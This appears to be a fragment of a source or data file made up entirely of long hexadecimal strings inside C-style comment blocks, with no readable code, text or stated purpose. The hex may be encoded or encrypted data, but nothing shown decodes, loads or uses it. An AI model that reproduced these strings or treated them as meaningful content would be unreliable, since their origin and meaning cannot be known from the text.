b8bde9cd224132933e8b086b54fdb9b2523e3b5d3a8934b38f4ecf9f5a8ba1796eff27d32200b2c2df3027861beb5e47f48dd29a13c0b4a4cdd32be27b80c8cbbd15fc5b076e46d7a0b1cf52198b2611db3efd650c8f4258e56d31015d1d9f0a38d1e3eef3ba87768e3156a4e872bf3eb06c3848bc00b32e081774fdadf040fdc248b544d55b863ee1152d676cff3880e03ce61e7db2f19fcbb9b0327467604d63a16a89d72dcbd69769b1db948c1849ceffbd6aa59f1a583c990c5b9d464bcb39c19a54a38b60ef92c9d6bd82f1e78ede860610b21f7a9693478d335c7e01d47b9a5e08d3df6c00a4b2740ff4da921ba380ca1d00947f9ebf9a01888c36423213a0c96a724f4015afd32f0ec24cb3421cdfa282ed633f32ea74b0231c9c62d31b7f048ae7a6bb837977c512e2de380f93c9367148fed32222ccfc3bb6ef95e5e128b5adc8f9d6066bb46758da9bee9467c8696ebe40cbf67f93aad08fc12d47312f5a1b15b1f5b23521bc12d31af71bfe036955c9b006251f0a3c9ca027750daa7babd091df20b7275023339d43ed291f3b6dbe5dd621460cf9e55acc7cab8f73e231df4c2e66d8520951118490ed14c7e9beb07f91d5d772f5f65d89440dbcff348c059610c081ab8b89a77cc2437ee288e6567d68a161216558fba1d27eeffe0b1e4beb2606bb520c80a8850969065ab08dc28d9322465d38e3466b7f5d1d893c4d53bcbfca114d8de196e242c6024162d666d078fbc6570feb1ac71d39f1f2dc78a5bd6841ccb4a12cc42ccd695feb2588b5d4679c5b1f9cc794d6887201c4b74424aaa41bc21835e800bfe0b35f70a07fc106499c8cb257721b9aee5e12b45914ba691e3980d203b08d2e7e8cea70e31b160a31ba69e3d903d37d05e368172a2a50503b8f994f672f144760fccb90ebd3a82e8cec42ff90945622eb3b6e474b0733609375121b76abcd16dff98f130be27a9c62c333e71a6748e184ac7cbdecb0ffb7afb90a56b239d787baf96e4e7e91f9fb33097e0350ac4ef7d9c5b9cc0a492837a05741135d3bc80f753af3a832f183bfdc48b2073249547d6e4f6df1e33372ea16a6d8b1fb9e242bc9c872be819009e364c32acfeceff9d7979d372f8ae4e05cfc6351e3cbb0ad53cf230fbb09c44ac0ed35473e31c47a991*/
/*5f5dc50d8d677951ebdf7bd4834ea6fae2798f6a284e7afa611ea286f4cbdb25424992dafdc35ca9a29840717b165f6786ecea30a3494b519a2d30b5a5b268fc43287df716b1fd51112611417aaefce1c0a901c7459695eb9975c44e69a6ac3e2b1b74a3c73cecfa562b43908adfe4be422894e3843f895e5062ef9d1eed46bfa995ca2e4188be9f7eeff2f7e059987f475fbe6b5eefde9a3dbe6ce61a858eac7d3224d0bde437d8d78749d2a367bd4e7427f35cf33256f5782de40b52844aecb744f67c594a62ab003d2a46e57e541b8c84fdc4328bb4bab2b29f0c6471d46f53164419e84f9aba93aba94d219f21739bd9a00ded83d34852f50722a3e950ffcf55a157695187cd9ff3cb7c19bfcd139dc5f6572bdc3a727d72d453b3e8ca62adcfa69e23812688a90ace215f18dd8d08822417da1b7f24f8e52d221284643f703d5e1ef2173177927ba517c4cafd7c0a36cae134b1c1d6137b4fbaf7fee67e5544d2e80bba8cda7d63da7210c2be047e316a69951e0074130c770f2e9d7562f0d63dfc29d3052b0fa33c9fc6a82b56db9e2173017dd11df3e4060f5005d1c003698ec41ee7261ddae63642f6cb49c90a1e4e10606af7bbc34db3bf2f96128fe31564bac8ce2b6c94b7767d757555b9c92df016b19233b577a617dc5e055f2b229f10b89167d8473ede8395ed0e2196d26ed236387ea7804fe473afc08479b3e8207178699a0c94aa52dc1ee5164dbf42a611a2037e78fb3127e6201972f7a2b6311b28b25637c410a0fc86d1b7da848c80fc32067b96dcde44f382e2dd8cede5cbc2ca1ce444828ab1f9ceba65fcbefd60ad7f94c8469385bfa85bb6e988ae0f5ec464ba32ccd9041b309107960336a5e868680b35dce976c533777ac3c41bdc4566fda9ce9d096555e8392bccd5a8f2a35c4ddd11cd6a6976de77d1e55d1f45855de6f2629ed05071410866e039a68c5bb9125e3d88fcab5064e3d9586c79617cbab1737b03e86cdb7aa829b9479447b824b22f8c99d7f08d3e897bc5fd09d73939b53cbec15e925424620e603b6f10d21bbaf7a669076025d7761b2ae1700d02651df0d1ceaaa1d2c1c1c54d4e53c4fe42a4ac507d528c20fa3f1b10f42ebe79920115ef5d00a0d6cbc78ce65e7ed291d24fd804d0a1b8f1632244f4ae0e32410b0ae39240a729392593b2b45cb84b32aaa7e4bf9d32fdaf42dd5810d0244362ba5395b9e68b451f08c27bef6c434e9b548132287771751d67a032d109a1e0386f75fe5c3feda1c21ef97dd2a31d8a69aa5d18d1a506c8794090de86c8fe83500cf4bb3d2b479c466eff481683d6b62512f775b2b15a1d5c333d11d27c4b5a8f69223918836052ba48fbf5b26e227446c74d7e2e7ca34b14b577e380da64570881f63714dfb946e2c18f773be33adc4baf90bd6841fb95d5ccea4f87e450a97ea329ffdcf0e1e5520d56077ac1da70cb27c06ae1d2234debcd401a46f3a6a76c2e19d82db78f9c03eda4860624f7fb14c2d02c1863f989970aa19e54057d921aefb32aa35ae1547a73419ad5d6e521aeda888490352e3d36b181ddea95ad75160da4422dd00826aee2abb54015fce556de696313b5e1765567eccbeff67fa7cc16444d9aaa2638b1166d725c51b0875663da9e603e130d14e9e94998d4ede4c6a33b251fbcad83f50f6f4354126a07fca3460613076d2d02f1f797be06e5ab73b99e9855fc72050d8148bdb8c3f2adb8f554e3d4734949b8fc7ec94219bf05da5b40d71e98b0af88110989bca1bf78ff43010a44bbcf5b4ec3237eff4b1056acf7bec12e06e04be21f56647c36da8f476fb4e9ad6fc256cd30cf38dd72dccca2919399224b160134bd9a3adc1030062e7694268980dcc3b3e7d665e8334d2c3d83ca7546e6494748d4ae0a9102cd62befba01c74d9471a5b28bffaea6a018c295eefba8cccdeb7948f292b2a395ed5c417fcbc575d7198f4288a4e80e50921da613d0ecf30fb6c4e142793d6d542df89eb5f3d41459259fb3cc2a5243ece6164a2612229be980213ce1dd0be67563e59fb142070a061a150b4e488c04b4c2a8cdfffd56aac2bcb4fa9582aae98714528e6f67e06c06598b578ac5b27599da8cd6ec178846e1ff62a6198d165a0a5d349c9dd3b1c25bfd54c6608e9756ac351644f3c50236ab37121ad183f4cd5eebe6c688d81a646c48aa4e8ecbb424a5c2acaa691b972d3b42f1fd472558fb2cafadcfd7b76e7147d4dc7be2d5aaaeed08398475bbfe52a49bb460db0725f4874a428a445d7e4411754b352905dfe8a962ab83544b255150ad2649c07ec0cc6c3e53bce14e512b4b8c90be5b7b373d070fa271880006962e42a8467e02305f782d1332094d04544da6cf7bc13fe47bddf944ffeb03865f924e96f5162bedbd678d0f13f587d13707467fbbe0b6c2c568dceb1050a8e16328a35b4301db935b037beaced65f5dbadf90e9dff04f9d34b03c8adae536e3ca562940685ee74fc042e9f7f1afc1c23bf63194ce992784d29cbeb96d33eead69b4c4161a80e390b0e316075845616d211ed796dad4eab030458e458071f62a50810e4b54a5485760ecc4d77bfd186b704e11cc13ebe4d5bcd5d9ae825b21e3f879788059017d4237368066eb985f823a89fd2676dd26ca728360ba61ff55fa300aeaa80508dc4daa9d3a8b44ab81c984bf72804276350b712bebbf1654dde574adbfb84eae0e2f474cbf6616643f4da1edbe55bb7df97654ed2f94ebe63a8a9e1a7a4ecc30bfc2cc7928218a8db76d14bb96446f632e158333acd62a5d8f8841ee042aefdbc44d32663*/
/*d1928bc7b57912d6f23e935d6e9ee8885f817b4793935fcd20696635d3a72ca778df1becf18b625322b9b005b13b1b535acab9a6891e4f7e99bd878e6fe37bd6554d5625c4f0189f46e73dabbd7bc965998ad4670080b7660983ee8ec5498549ba9f9df4f12b92369fe5ea13217af08481b35c1adcf53e5a5c1f1e3d03a45144d935914f38ff0d3f3e15919fb2faa89a4e1e862dd7146bcebfab60d29167c86f89249abceb1857b182a986e1ae26adb9b26a0c5a275ff945e87a0cce77bea4854d0f03e0ec42889ef9377c393acc1b4ba4be2c6b9b5fa8484472078ca55a21e01126ff7f4c3c832382ea364a1e75f5eb308cda890f6fdf816e2ea42b6ab5d334d0f14fccaa1a7f6918b9175d03cd4b0441877b038fa15003e5c426044aa3d71e8a526f8cf4706e6b6e5f6d7299f139ea0065d98b58cb9d40854f7415c0834381e1699d37b38d58aa618e079860ddee75956c025403c3120482ae4b045c184eb57878ab433770c8e074dade4709667669123935cf8dab2731a3ebcd93200fc41051f6eeec1bc2a36423e137bdd1986b8e47a29dd83b15a67770516ba6aaa82249ce82ff453105e1df9ce63a6b5ac23b9eb8f47eda38ca7931dab0493d9d2288612e4709221f6dc516870c76d24688765b83ae618e249dbf5b73d1ec7f019ec5086d2ff00cb36c3c96f0f4316470ce3bf92d4fb5229365e6e151cc4f5320f11de4f172002cf30c9fd394e50c08b452253c3b18b5696fca2d22425c3c822ee8f1774b0322502cb5a8acb8b99bacc6597febb576e4433bdab683db0c04abc5da56d07060818000cd437fe81186fc2cc4c351d498ddfbac50970fb10f6877e7483ee29f096e280b4e0ffc8ac7349fc9a1812464e1a8928b4729358192dbb98c73f12834ea8279d2235663e8e46b5d6b3a6b37ecfefbd3cb57ba7935dc7fad5a24b8af76fcf32b906fc68f52e8a51de0ad293d7c9d280309112fba57f70f5360222682b903e3e301b4c4e311196c2ca04949357e7585d1b4ada46ddf6eb1f0fbd8cd34a4bc3b9a12a6ac0801fdfe7395d3d71808309876220a444e1e7ccb773a621470caa6f4cd79d5cb3866343b80e2c7aa2ab6df487b1471cb766cc1929dc619b938417f4828a2244acd82c078446a3d2a30f5b31f4667a8a3d767aa12c917f7015891e2fe470b0afa1a9fabf0cf312662e0cc011f909c47b76d8a00a9662d79521581b74c56e6b7aacca8052c1307eb11287057959b7bcb680e3743b6ea494c7d1f504f867ce77c361ee805d5a5768d4703608c485203ac5cc4a7ad9eca6282e185702f79a7f66b567d2746bb4e283fa72dd3f1c8123e04db72d39e6b13705bdc222d2e108c6966a551a064943a690e7d303a4d0db106a5d6ea951f176fe8f10a6f150cc6a7cf4c45ac18eacff874f715f8f23d3a583adf94c3b76959baba1c8a43a1094a0baf4c4c40d1160d4054a0ae4ef7479e892eb177c97b2545580507d26e2931e10be3b7a02cc940c84be14df205de552b47ff0778e82bc9e012bb3703abf146d73fba70f20cddd1a55c210edc2dc8ff251645f1050d2a2e0fb5ff71cc545778a8438c7edea5eedc21405ce5a1a7cfd72f2e1936dfbc3c6ba5ec49121d3504923048e9343134e4d9d9a62314ebf77f8956186a8ce51ed883374232ed779144e5cb36b9b5fea54afe706af2f395b0166a217016f31678e72ebd56082b88c8d99dfece39859bb0b12b55896f9f93d481093f75e4bb89b4f85f5d3c07d4897a4963a819fa7222950011e7c60a2ca9a064f0732e4770a062aa72ade927b7fe94d97740bc2663fe025132ea4f7858f6dfd51c98f018a5c198f19ade65f45852d542ec64f686009eebe4a25812bb22592e99c155e86d39b36c616838c386717dbe1c153d6ff7df8bad396650f207fec93a128a1c50ba2985e0ac901eb814aaffddd3cd16897c42f2698419e888a4ef55743b71e96eee61d4ebf78e0a74487dcf4bca585f6765ef41562244927d09b9449aa960889d1fd61e6c0c53c1b000767932a61fc7fef9d102bb6dfece1369cb9936c0ba0d2e62add88038657582ddc191800c7e4a17170b8a916ea2a4cd0b658faa271e83f5379a0095afbb6078ea5eaaef497105d79bdaa50b775bbc1e4665c4d00b8bc17aed03757f9112187d7d4c69af502c5f11031887c959abd7fc3f3e5a6080e32cb322b5e0208514bbe0a745cb093ece3fe29a1b53ec24fac4f3750c3fe5e37d5f7543de893a5dce322e50a712ccb6e437df5611a316958e7ef62d84b58fd087a2f3800a8ce30612d414a6f3da7e74db686584e4995f1865183c412c8dfd992f4e74ac30e7c563945d9169bf280b81aae369f64354a6407aed7ecaecb5e58f1f40a6f1b39cfc1ab767df977f329547527d06524aef5c1abcb75815b2477d1ee02bd65ecb2484665af720a90f9e24a0394a8753687254bcdb17a6ad848be40f8106099cb913a2547ad402487f37898e81355571cfeba1a051c125d1362185697d2c175de3599e42aad81adb7c2d5380ec5abd8ac521a85b8dfd43e282e91c084d653265e2349bb238a0bca7a03d175e1a44a89da63e9a978609a9b3b70b0a21ba3fa4077a265108b97c70f18d37c702653b4a9203ac656959706c198840ecf02d5ec75bcbd289d7ceb5eab5f1a0cf87263392a62739efe10b58511d9242eaaf3679b8caaf4ca7c318bdd39cbeb87c72eae4954d508b12756f7d181df9ac13f445a01c7df888f8a02dae00a8af1f74cea1943747c11540d191f33556d8827abcd0e17e3d8533b3c2df8e9923ef45d3ba649759ed7427408eabfeffea13d624*/
/*f407b19207d10e8949f1dab7f20dab36a4b6762f2cb86a58bf15ab98ca7041264633f1625280f208998cea5bb7387de658d5e391934d1f52bb0ef1ba10c155776dea7cdb213d16557d492f81a9e08665bbbb6d906d157405c5eaed4bbdc2425998efe0f530ae674ac837b7c257c0ce95b3a80beac3fa991cb25cd0bb2770d602eca7de5acfdb563d3e9d7c42cfcd2edcf3fc6e03d3bb446e14b012e23bc9095adb0ebdb65971c65153db654fc5167c6dd92f84f06b30f72f7a185a9856eeb6a1d891e234d9a9d65408d703f810b46228c193cd387e2d7435eb36d9fc1c0351cdb388d93bc0ac2acad37d88c033ae528afd8346f4cb39f386d0f21f72a9fe3a7ade3eeeaedd232d1618806e2e24e9e14456023f61ca3f3cd3b19a7bc007168a63a1f9855684111de56a5d7a533b8c536a9beece6b944b4a6dfc6d55b7e3d12f72b8d6883062b1c2c4b8ca37629d4c7e2536facd44643f3dffa0386be113244bca0c776544c4c960ea6ec2a74adb5245a6928a41f9f4f07e35188c0d0f9fdd7726dcb69e3b6cfc2359a0e7d2b73ad8a9257197f37e4fe4b00967a239b5edae88dd39b81c137e6ade9e53141a02fe63d24be4eb8cec67bc6e32871577fec40ee66ca02632cad9e4619a9c4963e23c984d174ad286e19d0e40ea1e2d3746de4f340bf3ad80c7b4e212122a1b79d84a3dac60028c3f3fc9fb44db84b6920608eda7a67cfacf8af27cc003f372a707ef58376e9df20cf42296c96409a667daa1e4a5bc83333749d959497e68e7174240400437284c0fdcf8fb519f7fb53a61d0b6791ad930ca40d5941a2208895cd2cbee71f9c12df0356c5b4d5a5d1f21225e78d5ac50ed4974a75c2dc9a9c2c31da2b21f33aa1cc4499c3c28af521cfd611382c544a14cbeb63b182cbbaaf4bedbb5a595ed5d22194284d07eccf8f16710d456b7ed97ae74cd848870bc0cf8981782892e1a5d9ecf59fe53494cb937c406e01a5b59aa5f78766345c8422c528ee8fe739076f08f2fc1a3407f834178d8da9fad65430fcb666f5f38c9b308f7d90872500b703ffcd76b9e6ef9e59bbbbdcd038be6e85d1cf625283162c28ffd1204b619f679e2f1ae2317f71ff117296bf9a5770a99a6df0774b663301e50374474f62730ea1943db3f26a9d91a794865cee906e0749659fa902b84ba36fce4c5f8fff161c457e9ddf3f12ff9ff1f1a0460aec3383c0ac8451d0f3aefdf9bcecf5fdd2fe8cb389a7f5248dd6e7685c924fa7d324a42552c57850dd965b50dad4125d782141166607a99deb721efc70006c844f0909e70c485e83b7f58ed7500fc33447f66f1bfb32f052e4f0773b9cfbdc0e1b647523b3ee621d9b0ea89eccf5750fa8c6b528a6484778d47a76596cbe036e52eb7e5712c85405d380adb6adb09223be602b315c53c43c22e84ce3a8814453eef18bf754b811083fbe637fada0c59ff3527e0afc2b9ee76f9b3d6c14c70387784b1008e47d57ebf01adee7e4c07d01040abc1fba2f92b8bda58941e1b6392b57a3718931d96ea39ee7b8fb5c779255fc45f07e7c328e243e2a8c224a20a5eacc6dc9c9dcfeaf72d9c922378f1ebcedc089fc93af2cea3cb8132281720b15404d7d7af4bca6658368cae89e4ce0f277664fb3ee04d8fa574b7da37854a41d9f7cd31ed169b97d1d8097f2e3b9c9bf4ddca6220d2fdd2110a1a2dbfcd199713442d299b3aac86b5cb286004d89f1dc8720bd2add10815001e39be4ddff379497fe6563dec544bcf657d7816b93c4f6efd67a899f4e0a01c724cad3974af3777eba8c91184f34629c0a33a3592b62d5b5ccf902f424542d99aec94ac211cab406649e5f4b386382f3000ad26de01b16a4d551eaeafd0497234addd7b79e52ba53d11eaaaa26349594e1e53869bb1ba46eb75a6dd39fc233f413ff7c0d2f4e6fa1bb377dba98873900db7efc627428f12e9fbad71ec2ad8e23faff3eb67fb763fae8d55607ac46979304f3fc96f50d27e4d3b7f8b4dcacca5f74ece8436adcd21669de75e5a63e4c53dbb9e87772dd27bed07ec8220dd1ab8bdb8c53b034f8e5e9e70f18afc122028f7c3f768e80a9f93796a8a8fee63b6a68ecfa4e499a7041b9a779a04181fea2139b89c7d4d31b92d9673a5376b684886c2af1309797858acca51be5123d4958041bcadd73a2d5d9b7120f6aeab60fb6bdf93db96b67be7228db48f1ef331544732d295055b4d4c2c8fb31aedfce593c7bcf926333807e0774df36c4c90e542e17f0c8a73b091ae622ae25106473b15c73116d8dca254d0fe5507a456f0be3fd485fca0aceed0e6f363cc2c90adaed037bc1b805f9dde1bb08e4cceb9437ac2556ad4e859ae47af8e4130a8ec6c73c1eb209f28a682059cfef70b24feec4d304a71332ad8968330bf0105edc7723f235498832ea6cb2d6652ab1a8ed66c3af01eefb6c9ec5c4cba8424f3523deadea3fd04a74cc68fa0d7a91a258b9da6763ed22b5807cfc642c59529686e7d1bc8383fb7cb9d5e334e60d242d7432f89e747ba9dafa68a1813d0ab4ffa0146d8093461e32baa97f5d3a982a1c22429f74e8151c244d829c1212fe83c8ae623907699ac3d49a5a107d9d87f12d13ad8d2ffe0f6fad929a1c9e861deb0359f0239776885511d9dbf853e4b6b6763cba690b47e46caa13010bfbab5d88b828300c0ea8a93569e4c813b032b1c29f291b9694dcd1fb7be5f79aed32cb96f63540f1bd22b900f314bcf65d0d2199f816b9153f015bf9af953a2e5b8c89e79e125a57007d12d83bd9e7741baa8872318137602a48f2c039b765503a038e9c9abc10f*/
/*b199fac9896ad8e7a3dd534babee2fcf095db7ae49255254a74abcf858410218bee121f711828e3a058658e597b8a8bccb4b73d1459d3131e9a292f13333e873e3706ec1e13f474892a1f6945d29727f66a284ad149f0600e044305bb0af2d7cb1a49c41680565bd43f5d17b49edb51a8e0163a558b1a1b9a84827f16216a2cb20ab6eab21d0db56bbe6270632b81c9240c18849a8e5d0df761beb1344a6ffd19ef8c2effdca4bbbd8d1e41a6599f8eec163be1b7327994984138d8f292f23b61afb6e8d752825b7ad3390c91d783e4d166c966c1982fcfa27bbf97856bf8800b785c3214342ef7d808d40f54ec97df6545865b7fd6edf3dcd950975330719c52b6647c8f95504ba01890c93148deddfd14f0f5d8a8241a0fb836407aa94a762d5904571c18318f1353fc805f120f6317a5889f7ebd15ecba92b3a1db05b0e5b01c4fdbd3904fcb923d447c9de129a2f1cfac780bcf00c53e6b17582cf09bc6ef542450421f187db75d13babb60710a5b5844652acd9f61235a233d0cb97d7681f2ddcc2228df650e2e868537d10b6a0822d3765dd356e55d43c6b677b81d62ae658b2454e816c377d648f33a50472e6f0f4cc8c8d0b0d67256e09cead9463d4e8341980bd13372dc42fba65d1c7b58394f3bfa8c6a95d8af9be384d6ed9a216f312177b5bd6253ec4aab8696da1d6f4a7be51c1a7c91a1dc9e30015d9e0f4f3427072578cd3d333f22cdc6be5505824b6559e5a9c414c9fc240b22081439ebe5c8cbcd8d350e6547be8689872581a58d51194195917c50b3d03ac80b7e37e4a2acb90df83d50174a15b644ff1033af506c9e1a365a7a155f02f288e954a702c36767becf33f18059493f4710cf99a0d569dfaf9ed12a97b929536f7f8b1f51abd9c4da65e66f779c3e5c12cd948704dd480d038d73c2749befb35c44448ea67214231e7d62701bbb2c184b5cfc5b6daaa475123b4c97f70f4eadd2420954e0656d03f4a73ee847561fa146ca4374e0c623ddff3e67b0dd39066127982a1dcaac859ad717446115f1554273272a96181e70ed4c96bb23b10c5808b4711c8d35f7d5106b60c941cc3f19e015888844dd44114806146a7f56a39b859750908dc589e1be79a1006d06b70741e85dcf32be7da2900304f16e3a170be32995d19b685390ec52a18521733c12ea637c4064247968ba9a4dc3e2084e20a2882617b60ba48a7f75fcec74b4ad0b32ffac1bca3d1a60018d8a6658248d131eed6ce0565e2ab25b5d5659cf704c316fa05cfa0ae2440abe1db31a16bcc47f1d19c7ea057b7acf454ffbc3b107a5008453199d71528e6215fcb1d003243a8c8271f480b90806177d287e9ec10b5a0240e4a392d1b6bf92e205a83eaabcf3f6bf567ff98f5cde6d572112fbf170b3de741ee6b7e85c7e9e9d1559b6eb9c98f72286d0e7215e76fd7444137c941af83c81679a954fd7f26db34e07eacc90c527f7150e56ef655558c42e68679dc9a8d6d778631819bb60c640cb807922df5c887d682d1e5896cd602b2f9d7a28010db16b4997e208bf956bace4d7840ab113c7d3814f0433b97f2ced2824e61a934da9ab9fd597d50165ced83d9ca9ca74db85bf962fe675ba7c50fb12ddaa776fd5199ee6c05dbfcdba88e2cdc3c6d2274e21fb90a12171499bb0ae6b29865719ff65c951cd2e75f98a11bb359fcc45f6450b7cc8210aba50a6aee3591023653102c74d1ac09a9a09998d179ad94d7aca6f6f1c103c75f31a2974bd43d934075ca5e38d6712192c9f464cf3c69ab023cd3a9cb21aad1cab9bc2748423677ac892c0f1b4d7d0decbf1a1a8dd3e6225eef879516c85f1cfeedb2d374c9fc40542716c190937cb325d97d0195f4a9c926d3c89ad9e40ed927b900250efe1e41533c6f63ce216d43a124e592623c63d03eec11abfab1749c7eb880fa444b35a755b19a39e521940ba5bb7a7c1a032edd7f3b34accc9478ea58987c382f9a3ee77e940de5ec749c592e2768091cfa8626a677d3f2848517b388f71678b81e1b7ddda5f1e27c9e6d302afe9c4a54e75eda9c25c3f40674f3af86fdc766e8a0f2fb02be06730e5d48601d8500a22fedb49c1f670f2564c6f511e0642c3ba5e663c9cda764c3fad597b52127a8483a711619041df671d747c52d6a7dd049f4c8ec6f0de1ad1d94cd00062ad23a596ff757b91f3dc2c28d3c2f4c008c77507b99c6650b16f8e8eab4180f5d92b0fcd8f3a631bade0fc49d7e494948489a077f62e38089fcf73c589c4e5d96e03606876925a063708fd88c3574f8917962dfe16916df199b7f9b3bd4cd57ec9902b4d04471321335c3b38db34d98283fc6c8699098cf873a4623075b24ff5ab1eb9dc48ae32df7b8f85e3ff72497f6de7e1a7f09dd35a7e4b43c8dfa9c4db2bde7092087e0cbba852b666772a2a8c4476dda3e092a9c0d34ade455baf1c509091130fff448d8a686556291531c5d2ab4e26339e5470382f0a01370c11eeba19d9aaee498d9a75bd426cfb97ffd33c99c71311999166af53f675e9d9770f132aa51aad697174ab8057fe84e59b16b69958873fe0811aa7d103ce665afb4827157256a54f9275a123a9b0d0036af0d5630530bae499aad6ea0d3eb297875a6640c4a2e7d530978a397ad0c953b54a260a24e9dbc62154b66dc317c9a05498c21961276fc7de19814d384371c8c05236c24642c1c18481189a8b6c1451feb0988777f524261e443da9402bfe8227d54873821490bffd17c07e95687750d5c204e095b6dd70aefdba5087ddcc5fb53ca28a5ae7d4dfa92e478e97e1e5a916bfc2aed77*/
/*04b8b73bd3d87e5d9638e97c7cf81135509e34ae368b038434e6e7024459a48df808ea2aeb24f0b7703a4d5a9dd228022fbf5b040ceb7d0dbe5a095936aaf89fc4b56c77201afc470222f154025e61b6cafd61d7076427ef5aca4f32a8ea2d0587eaa4538db2713d149186802d9be19f919990c1787b1d30d3de53c35a0229f5018e1f4818dfb3d5455a4cf824b5886974feb0ec2fdd2b4a2f2b775ffe9e456f053dcb41ad4dfe3eeb999622248510eec0caec982f9c19bbb0be66298ececf02f02ca1dcc648a464040c3940ba5a1918a269509197a54e0a32197fac62a932a3e6c40887260f58a5cf4a41a957f1e5f17d9c398b95fdd5408fc97236008f3d8faf180bfb356df8fd88ba3cfda9660252849c10bf429ab9b2d78907cdca9ea52a00c5187e299cbeed5612c75145c0ae9ff88f5e9b6d85825f92eb7b1149417f1fa159c5a569e6ba653c1f8cdc8a35dcf20dd3a286c369a909ff30386031549ff779110cf648f740e8f3dba6be19e3956319a0b066e6b8355f78b0917588390bc35a28f1021bb8bc3b46746ee997bb7f6e81861e90581fe073d3a8e857becd8653fa2cf9b792a4eff1cff55a57d3566101dd6497a90451c2e938de095251220ca3187657130527d720d8f13012d3e4b3090ca24d4368048f27d8b5a7f35fb3c69ccb09261eb3fa9e5b3a46c968b09ac82f34d3babddb5e020b3a3e42933af69fcaeeb300538513bb989bb2ca5ab02ecb1c4e6d08e2102408ea4f95a82349716f2d624f6385bb1829f897eaf84505a1293f03e560f85e6b206d4f1bff9f1f181a84876ef49762a42e7ffebaeb7ba324fcb2d3bf772badd379616cad2243a88c87d34e5bffbb377e346bc90d2a207dbd3424cbd411af87c6fc369be63e5bac5a7da1a77fe06597e0980df48193561995d185ef1319c2967aad42a59a6abba2ed7a81d16da7f07725c19c76fb2bd1018755c5192698120fa268d16ccabfdf438d7df30f7b2bbd4f9e0a6ed702bc55f1345b90bbf82850d5b283167260703555b803a19cafae7c56ba27af84b8e46f873a93ff4fb07c26460997a4f59f43f84137fa02d1102a814f87482e5dd448b5dde5d0751297e28ee0044e44c15eb49330a98fa1a96344161fd9c3c3c1069ee0f7db65d9a83599525391e22470f755f610028c3545674f04d7c291f60c4b79af1cd9f17f489310c9bf72227e08f6c6f58f433fbab52232865e6d0b2b49aaf8ef30245371ec1ecb36c2872adeb938a0917030b632b4d2e70a26fbba11ade1c20b7745ce3cb5f16d1d0c8cae92e8be5f2b97a501e933ecb2fe898fe39561b542c8aa053d2c3c76e92d4f392a33e7db56e7b13348e43cf99c51ba925747841e9977e20593b22c22b16e50a56d0f9ccdc5367ddc7bdd1f10361a3781a777681c9174a73facf6d81df58147cfc31a960837c2133ff1febd97178505ad3b1bf9929fdb921dbdbcc422e3261e3e8412ead7377b30495dc26447512a7b804b8558383a0a6c80feedeefc806b25178d85a3994f3b410c7d0d421ed220bd3f9a8da101f0f4e6a9f27f07a8260be3f86e32484a3e5315470917ed6fcbcbe54c241865d7658f3fef9ae10729f8d193941ee332ccea6ce2b0013b7e1991a044a694b0410859ab2784030d657c13188d3ff6a84776430e69848d2b5fe5130d6e83f4695165ce52e529e2a397f262c21a47e9da81fd1d3959cfad5b0735e4e2f2b67884c274319393787097b26aa0f5c5cb3082b1a46bc99c567b662931f682f9baebf60f26cf4e7575f2442392f92f47180950b50b603e90ad50ecd8ec62163b676e3a55226bdb0656c1507cce4cf73c8970b275b4eb9efa51a8f13a4a4b25bcc20c57c9a92285d945ff95ec7ffc19abfcb9ffa498e0ea57d1381a7e84b63797ea341be6de125b7e56f3c6236927f5134df6d1fbae9cf3c7ee46d23840945c09dacf43224c187e682ffde24fd00194185ba9a33211653540e12799431a77e6e1dcfd19138f7716ee5c008e1e99e29462d95a302344a4fc171496044ae088252504cfaa2256fb30d715ae3eb276aea53872956975756bc20f9b2ba410f337e949187a35ef44d5d019d6e93cc5ed90f05d7399f13581f5c3281793e4febf8b32f18988598a36dd1e1a5acc10e40d2c496c353cf50b2466b10fb84f23ccebbdc5005d1553627b58fa2af41231578b07371c449248882db9129d102da494ccd07d69bb0a114be0e89d2b44928d3ea44d25a9dd0bddd15f67d68652029150e0c818624c28e6853ff0ecfcbc3ac677a58aa97b4a0937da3edcccb0e42c141aa18dcc4820d6be37988a08a3bc1ea6b6815019083b4412449c5c09c004ffe1d710ffd7eae0819ddd4f8c2f59bbbbe62ea30e894bc0f53cc0d3101b9ad3942e8a609e83b9954d4d96e778f6966cc8de1a42fe418409f05f4489f2c5693e6c1415ed260c7cec91bb7b13093e742ce8d5c2feb6c90fa199a2d97b320d22a4e0d4f31448a7273ff93e3002c2099ddcc00655a2860760c22b5d68c21e2ece8c6e2ed32622d6d1bd04692861435f100d8a969be20fce7c4d91110efa2a7faf970a0e068e270e24dd8cd0368039a72f3a054a150eacbc96e3cea50fde1fb6be0367acaec0718acb16c164ee27a4f05e9c7302cf8dbc1fd18f6af2bd4d58876a03aa7b9c55afdef8eb62a291e2f8e84ba3c97566a38a745bcb15763fc92745728eeebee229a25b790665e743aa47f8c510c0ab9af4cf454ad02bbe1ae9a926d33c46b65936bed0b284032fa3dd58514502c34e62dfc9acfb0aa564500f2ccbae8c54fdd3600c8b683850b02200d74c957c4955*/
/*fd306666152384bc2eb7039ab52a84cc104cfff74a2c24aa3ba717969d36cf846605e37d2c22d754a17840bf87fd77e726bfd2f5ab07b195960c0e72a63ac4b2a34accd47995d4da88b933480b508f08a70d0f628340d8054d2cafc0f498ab908131c5a26617c2ab073ef5617a75198e8291f52153f1e70549e5a2712e1ac6963926d335d23150d6b153a6debd03fee871d2e54895d70b9f95716e096815b112d0c50494ea2b1b02092f9634943890404f104e76ca27eb0b836a6c0d634d788ba816682723b4d310e59c88f7020d518023ec103e08a6678ab08f9058dcafb7e52572b36e09206d4e7af4a5a99afb926cad9c74e41eef3bfa09081c224859fb2b40883ec05131d6996915be5b3d8a1464b7fc6a4e68cc676379a761bcf515197febc17d6052e6d4fd46e5cb2f4c43524a39331f08aa27cda97a7e4732ed0a0e495ab76c080b83b754e0d8db761f3a41934eb5b71353f4a1dbbe49c2c7f1449e46defcf7b7596079ab6b365675753ca9d850fec1c34adb119390e41478bdda79847746d38485b79a99d9e4c9f79137bd8c542bc228fcb571a27f4a635fddf94081d26aeba4eb8954ff4184e2fbedc4b2aa35b95233cf4cb8bd3b1c0560c1b00ad51ecfdf4c16c706067abf162baa7c9cb4a57b030d9ac59e4156d728ffd13dd0733a253096ca9c3d205f414a2d3b94637c0bf34a2fda1c50b28c4ea42df1a33baffa496e07c0a98cdcc1ff05ba6914374c0ef2e3917686b16c4951f107d7f084e45d31e4e6fd92797e83e7cfe52ab58004cb9d704ed16fa724ec34147582cd127c7f33b9b7cd98727111b7bbaf628353868d4f854c4c821284b205479a0f2b4e933a25bbc9e870cf3bd7ac31c52f9549a0d034e8cff6658ebac968e9de0b80ec65fbcfb4b7b